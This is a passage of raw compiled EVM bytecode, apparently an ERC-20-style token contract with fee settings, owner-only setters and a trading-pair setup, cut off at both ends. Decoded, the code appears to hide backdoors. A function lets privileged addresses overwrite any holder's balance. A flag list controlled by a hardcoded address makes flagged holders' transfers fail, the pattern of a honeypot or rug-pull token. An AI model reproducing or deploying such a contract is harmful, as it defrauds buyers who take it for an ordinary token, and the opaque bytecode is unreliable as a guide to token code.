ffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600860006200062a62000cb560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200070c601154620006f8601054600f5462000cde60201b6200282d1790919060201c565b62000cde60201b6200282d1790919060201c565b6018819055506200074b6014546200073760135460125462000cde60201b6200282d1790919060201c565b62000cde60201b6200282d1790919060201c565b6019819055506200078a6017546200077660165460155462000cde60201b6200282d1790919060201c565b62000cde60201b6200282d1790919060201c565b601a81905550600160096000620007a662000cb560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000620008e260015462000d4160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b60006200094c60015462000d4160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b6000620009b362000cb560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555073adad81c5d8fc0f9220458727873c9e9a2e19c4d6600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073adad81c5d8fc0f9220458727873c9e9a2e19c4d6600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601b546006600062000bef62000cad60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000c3d62000cad60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601b5460405162000c9e919062000ef6565b60405180910390a350620012ae565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600080828462000cef919062000f24565b90508381101562000d37576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000d2e9062000ed4565b60405180910390fd5b8091505092915050565b600062000d548262000d5b60201b60201c565b9050919050565b6000819050919050565b82805462000d7390620011c5565b90600052602060002090601f01602090048101928262000d97576000855562000de3565b82601f1062000db257805160ff191683800117855562000de3565b8280016001018555821562000de3579182015b8281111562000de257825182559160200191906001019062000dc5565b5b50905062000df2919062000df6565b5090565b5b8082111562000e1157600081600090555060010162000df7565b5090565b60008151905062000e268162001294565b92915050565b60006020828403121562000e455762000e4462001259565b5b600062000e558482850162000e15565b91505092915050565b62000e69816200117a565b82525050565b600062000e7e601b8362000f13565b915062000e8b826200126b565b602082019050919050565b62000ea181620011ae565b82525050565b600060408201905062000ebe600083018562000e5e565b62000ecd602083018462000e5e565b9392505050565b6000602082019050818103600083015262000eef8162000e6f565b9050919050565b600060208201905062000f0d600083018462000e96565b92915050565b600082825260208201905092915050565b600062000f3182620011ae565b915062000f3e83620011ae565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000f765762000f75620011fb565b5b828201905092915050565b6000808291508390505b600185111562000fd35780860481111562000fab5762000faa620011fb565b5b600185161562000fbb5780820291505b808102905062000fcb856200125e565b945062000f8b565b94509492505050565b600062000fe982620011ae565b915062000ff683620011b8565b9250620010257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200102d565b905092915050565b6000826200103f576001905062001112565b816200104f576000905062001112565b81600181146200106857600281146200107357620010a9565b600191505062001112565b60ff841115620010885762001087620011fb565b5b8360020a915084821115620010a257620010a1620011fb565b5b5062001112565b5060208310610133831016604e8410600b8410161715620010e35782820a905083811115620010dd57620010dc620011fb565b5b62001112565b620010f2848484600162000f81565b925090508184048111156200110c576200110b620011fb565b5b81810290505b9392505050565b60006200112682620011ae565b91506200113383620011ae565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200116f576200116e620011fb565b5b828202905092915050565b600062001187826200118e565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006002820490506001821680620011de57607f821691505b60208210811415620011f557620011f46200122a565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160011c9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6200129f816200117a565b8114620012ab57600080fd5b50565b60805160601c614bb1620012d46000396000818161119201526111be0152614bb16000f3fe6080604052600436106103905760003560e01c8063807c2d9c116101dc578063c49b9a8011610102578063dc44b6a0116100a0578063f2514e881161006f578063f2514e8814610da7578063f2fde38b14610de4578063f872858a14610e0d578063f985622d14610e3857610397565b8063dc44b6a014610ceb578063dd62ed3e14610d16578063f0cd1dac14610d53578063f1d5f51714610d7e57610397565b8063c8607952116100dc578063c860795214610c2d578063c867d60b14610c58578063cab0347114610c95578063da00097d14610cc057610397565b8063c49b9a8014610bae578063c5d2418914610bd7578063c816841b14610c0257610397565b8063a073d37f1161017a578063a83f53a711610149578063a83f53a714610af2578063a9059cbb14610b1d578063c2d4640e14610b5a578063c469b6dd14610b8357610397565b8063a073d37f14610a36578063a08e671f14610a61578063a457c2d714610a8c578063a5d69d1f14610ac957610397565b80638b42507f116101b65780638b42507f1461097a5780638da5cb5b146109b75780639174c79d146109e257806395d89b4114610a0b57610397565b8063807c2d9c146108f957806382eefb431461092457806388790a681461094f57610397565b80633b646444116102c15780635881f3ef1161025f57806370a082311161022e57806370a082311461083f57806371d03f581461087c57806377f31d03146108a55780637d1db4a5146108ce57610397565b80635881f3ef1461078557806360efb94f146107c257806361a23c69146107eb5780636249faf11461081657610397565b806340b8000a1161029b57806340b8000a146106c757806342efd370146106f25780634a74bb021461072f57806357a5802f1461075a57610397565b80633b646444146106245780633b97084a146106615780633ecad2711461068a57610397565b80632563ae831161032e5780632c4b2334116103085780632c4b23341461056a578063313ce5671461059357806335d23615146105be57806339509351146105e757610397565b80632563ae83146104eb57806327c8f835146105145780632b112e491461053f57610397565b80631245e3471161036a5780631245e3471461042d5780631694505e1461045857806318160ddd1461048357806323b872dd146104ae57610397565b806301c6adc31461039c57806306fdde03146103c5578063095ea7b3146103f057610397565b3661039757005b600080fd5b3480156103a857600080fd5b506103c360048036038101906103be9190613e2a565b610e63565b005b3480156103d157600080fd5b506103da610efe565b6040516103e791906142ff565b60405180910390f35b3480156103fc57600080fd5b5061041760048036038101906104129190613e2a565b610f90565b60405161042491906142c9565b60405180910390f35b34801561043957600080fd5b50610442610fae565b60405161044f9190614224565b60405180910390f35b34801561046457600080fd5b5061046d610fd4565b60405161047a91906142e4565b60405180910390f35b34801561048f57600080fd5b50610498610ffa565b6040516104a59190614421565b60405180910390f35b3480156104ba57600080fd5b506104d560048036038101906104d09190613dd7565b611004565b6040516104e291906142c9565b60405180910390f35b3480156104f757600080fd5b50610512600480360381019061050d9190613eca565b6110de565b005b34801561052057600080fd5b50610529611190565b6040516105369190614209565b60405180910390f35b34801561054b57600080fd5b506105546111b4565b6040516105619190614421565b60405180910390f35b34801561057657600080fd5b50610591600480360381019061058c9190613d3d565b6111f8565b005b34801561059f57600080fd5b506105a86112d1565b6040516105b591906144c6565b60405180910390f35b3480156105ca57600080fd5b506105e560048036038101906105e09190613d3d565b6112e8565b005b3480156105f357600080fd5b5061060e60048036038101906106099190613e2a565b6113c1565b60405161061b91906142c9565b60405180910390f35b34801561063057600080fd5b5061064b60048036038101906106469190613d3d565b611474565b60405161065891906142c9565b60405180910390f35b34801561066d57600080fd5b5061068860048036038101906106839190613ef7565b611494565b005b34801561069657600080fd5b506106b160048036038101906106ac9190613d3d565b611533565b6040516106be91906142c9565b60405180910390f35b3480156106d357600080fd5b506106dc611553565b6040516106e99190614224565b60405180910390f35b3480156106fe57600080fd5b5061071960048036038101906107149190613d3d565b611579565b60405161072691906142c9565b60405180910390f35b34801561073b57600080fd5b50610744611599565b60405161075191906142c9565b60405180910390f35b34801561076657600080fd5b5061076f6115ac565b60405161077c9190614421565b60405180910390f35b34801561079157600080fd5b506107ac60048036038101906107a79190613d3d565b6115b2565b6040516107b99190614209565b60405180910390f35b3480156107ce57600080fd5b506107e960048036038101906107e49190613f24565b611b10565b005b3480156107f757600080fd5b50610800611bf0565b60405161080d9190614421565b60405180910390f35b34801561082257600080fd5b5061083d60048036038101906108389190613e6a565b611bf6565b005b34801561084b57600080fd5b5061086660048036038101906108619190613d3d565b611d30565b6040516108739190614421565b60405180910390f35b34801561088857600080fd5b506108a3600480360381019061089e9190613e6a565b611d79565b005b3480156108b157600080fd5b506108cc60048036038101906108c79190613e6a565b611e75565b005b3480156108da57600080fd5b506108e3611faf565b6040516108f09190614421565b60405180910390f35b34801561090557600080fd5b5061090e611fb5565b60405161091b9190614421565b60405180910390f35b34801561093057600080fd5b50610939611fbb565b6040516109469190614421565b60405180910390f35b34801561095b57600080fd5b50610964611fc1565b6040516109719190614421565b60405180910390f35b34801561098657600080fd5b506109a1600480360381019061099c9190613d3d565b611fc7565b6040516109ae91906142c9565b60405180910390f35b3480156109c357600080fd5b506109cc611fe7565b6040516109d99190614209565b60405180910390f35b3480156109ee57600080fd5b50610a096004803603810190610a049190613f24565b612010565b005b348015610a1757600080fd5b50610a206120f0565b604051610a2d91906142ff565b60405180910390f35b348015610a4257600080fd5b50610a4b612182565b604051610a589190614421565b60405180910390f35b348015610a6d57600080fd5b50610a7661218c565b604051610a839190614421565b60405180910390f35b348015610a9857600080fd5b50610ab36004803603810190610aae9190613e2a565b612192565b604051610ac091906142c9565b60405180910390f35b348015610ad557600080fd5b50610af06004803603810190610aeb9190613eca565b61225f565b005b348015610afe57600080fd5b50610b07612311565b604051610b149190614421565b60405180910390f35b348015610b2957600080fd5b50610b446004803603810190610b3f9190613e2a565b612317565b604051610b5191906142c9565b60405180910390f35b348015610b6657600080fd5b50610b816004803603810190610b7c9190613f24565b612336565b005b348015610b8f57600080fd5b50610b98612416565b604051610ba59190614421565b60405180910390f35b348015610bba57600080fd5b50610bd56004803603810190610bd09190613eca565b61241c565b005b348015610be357600080fd5b50610bec612505565b604051610bf99190614421565b60405180910390f35b348015610c0e57600080fd5b50610c1761250b565b604051610c249190614209565b60405180910390f35b348015610c3957600080fd5b50610c42612531565b604051610c4f9190614421565b60405180910390f35b348015610c6457600080fd5b50610c7f6004803603810190610c7a9190613d3d565b612537565b604051610c8c91906142c9565b60405180910390f35b348015610ca157600080fd5b50610caa612557565b604051610cb79190614421565b60405180910390f35b348015610ccc57600080fd5b50610cd561255d565b604051610ce291906142c9565b60405180910390f35b348015610cf757600080fd5b50610d00612570565b604051610d0d9190614421565b60405180910390f35b348015610d2257600080fd5b50610d3d6004803603810190610d389190613d97565b612576565b604051610d4a9190614421565b60405180910390f35b348015610d5f57600080fd5b50610d686125fd565b604051610d759190614421565b60405180910390f35b348015610d8a57600080fd5b50610da56004803603810190610da09190613ef7565b612603565b005b348015610db357600080fd5b50610dce6004803603810190610dc99190613d3d565b6126a2565b604051610ddb91906142c9565b60405180910390f35b348015610df057600080fd5b50610e0b6004803603810190610e069190613d3d565b6126c2565b005b348015610e1957600080fd5b50610e22612814565b604051610e2f91906142c9565b60405180910390f35b348015610e4457600080fd5b50610e4d612827565b604051610e5a9190614421565b60405180910390f35b600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610efa5780600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b606060028054610f0d9061472d565b80601f0160208091040260200160405190810160405280929190818152602001828054610f399061472d565b8015610f865780601f10610f5b57610100808354040283529160200191610f86565b820191906000526020600020905b815481529060010190602001808311610f6957829003601f168201915b5050505050905090565b6000610fa4610f9d61288b565b8484612893565b6001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601b54905090565b6000611011848484612a5e565b506110d38461101e61288b565b6110ce85604051806060016040528060288152602001614b2f60289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061108461288b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130949092919063ffffffff16565b612893565b600190509392505050565b6110e661288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611173576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116a906143c1565b60405180910390fd5b80602060176101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000000081565b60006111f36111e27f0000000000000000000000000000000000000000000000000000000000000000611d30565b601b546130f890919063ffffffff16565b905090565b61120061288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461128d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611284906143c1565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460009054906101000a900460ff16905090565b6112f061288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461137d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611374906143c1565b60405180910390fd5b80600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061146a6113ce61288b565b8461146585600760006113df61288b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282d90919063ffffffff16565b612893565b6001905092915050565b600e6020528060005260406000206000915054906101000a900460ff1681565b61149c61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611529576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611520906143c1565b60405180910390fd5b80601e8190555050565b600c6020528060005260406000206000915054906101000a900460ff1681565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d6020528060005260406000206000915054906101000a900460ff1681565b602060159054906101000a900460ff1681565b60155481565b60006115bc61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611649576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611640906143c1565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561169457600080fd5b505afa1580156116a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116cc9190613d6a565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561172e57600080fd5b505afa158015611742573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117669190613d6a565b6040518363ffffffff1660e01b815260040161178392919061423f565b60206040518083038186803b15801561179b57600080fd5b505afa1580156117af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117d39190613d6a565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611994578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561185057600080fd5b505afa158015611864573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118889190613d6a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156118ea57600080fd5b505afa1580156118fe573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119229190613d6a565b6040518363ffffffff1660e01b815260040161193f92919061423f565b602060405180830381600087803b15801561195957600080fd5b505af115801561196d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119919190613d6a565b91505b81602060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160096000602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050919050565b611b1861288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ba5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9c906143c1565b60405180910390fd5b82600f819055508160108190555080601181905550611be5601154611bd7601054600f5461282d90919063ffffffff16565b61282d90919063ffffffff16565b601881905550505050565b60165481565b611bfe61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c82906143c1565b60405180910390fd5b60005b83839050811015611d2a578160096000868685818110611cb157611cb0614835565b5b9050602002016020810190611cc69190613d3d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611d229061475f565b915050611c8e565b50505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611e705760005b83839050811015611e6e5781600e6000868685818110611df557611df4614835565b5b9050602002016020810190611e0a9190613d3d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611e669061475f565b915050611dd2565b505b505050565b611e7d61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611f0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f01906143c1565b60405180910390fd5b60005b83839050811015611fa9578160086000868685818110611f3057611f2f614835565b5b9050602002016020810190611f459190613d3d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611fa19061475f565b915050611f0d565b50505050565b601c5481565b601d5481565b60195481565b60125481565b600b6020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61201861288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146120a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209c906143c1565b60405180910390fd5b8260128190555081601381905550806014819055506120e56014546120d760135460125461282d90919063ffffffff16565b61282d90919063ffffffff16565b601981905550505050565b6060600380546120ff9061472d565b80601f016020809104026020016040519081016040528092919081815260200182805461212b9061472d565b80156121785780601f1061214d57610100808354040283529160200191612178565b820191906000526020600020905b81548152906001019060200180831161215b57829003601f168201915b5050505050905090565b6000601e54905090565b601a5481565b600061225561219f61288b565b8461225085604051806060016040528060258152602001614b5760259139600760006121c961288b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130949092919063ffffffff16565b612893565b6001905092915050565b61226761288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146122f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122eb906143c1565b60405180910390fd5b80602060166101000a81548160ff02191690831515021790555050565b60175481565b600061232b61232461288b565b8484612a5e565b506001905092915050565b61233e61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146123cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123c2906143c1565b60405180910390fd5b82601581905550816016819055508060178190555061240b6017546123fd60165460155461282d90919063ffffffff16565b61282d90919063ffffffff16565b601a81905550505050565b60115481565b61242461288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146124b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124a8906143c1565b60405180910390fd5b80602060156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159816040516124fa91906142c9565b60405180910390a150565b60105481565b602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60135481565b60096020528060005260406000206000915054906101000a900460ff1681565b60145481565b602060169054906101000a900460ff1681565b600f5481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60185481565b61260b61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612698576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161268f906143c1565b60405180910390fd5b80601d8190555050565b60086020528060005260406000206000915054906101000a900460ff1681565b6126ca61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612757576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161274e906143c1565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b602060179054906101000a900460ff1681565b60015481565b600080828461283c9190614536565b905083811015612881576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161287890614361565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612903576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128fa90614401565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612973576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161296a90614341565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612a519190614421565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612acf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ac6906143e1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612b3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b3690614321565b60405180910390fd5b602060149054906101000a900460ff1615612b6657612b5f848484613142565b905061308d565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612c0a5750600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612c5557601c54821115612c54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c4b90614381565b60405180910390fd5b5b6000612c6030611d30565b90506000601e548210159050808015612c865750602060149054906101000a900460ff16155b8015612cdc5750600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612cf45750602060159054906101000a900460ff165b15612d1e57602060169054906101000a900460ff1615612d1457601e5491505b612d1d82613315565b5b612d2786613506565b15612dc257612d7e84600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130f890919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612e655750600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612e7957612e74878787613549565b612e7b565b845b9050602060179054906101000a900460ff168015612ee35750600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612f1257601d54612f0682612ef889611d30565b61282d90919063ffffffff16565b1115612f1157600080fd5b5b600080612f1d575060015b15612f8b57600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612f8a5760018015612f80575060005b612f8957600080fd5b5b5b612fdd81600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282d90919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161307d9190614421565b60405180910390a3600193505050505b9392505050565b60008383111582906130dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130d391906142ff565b60405180910390fd5b50600083856130eb9190614617565b9050809150509392505050565b600061313a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613094565b905092915050565b60006131cd826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130949092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061326282600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282d90919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a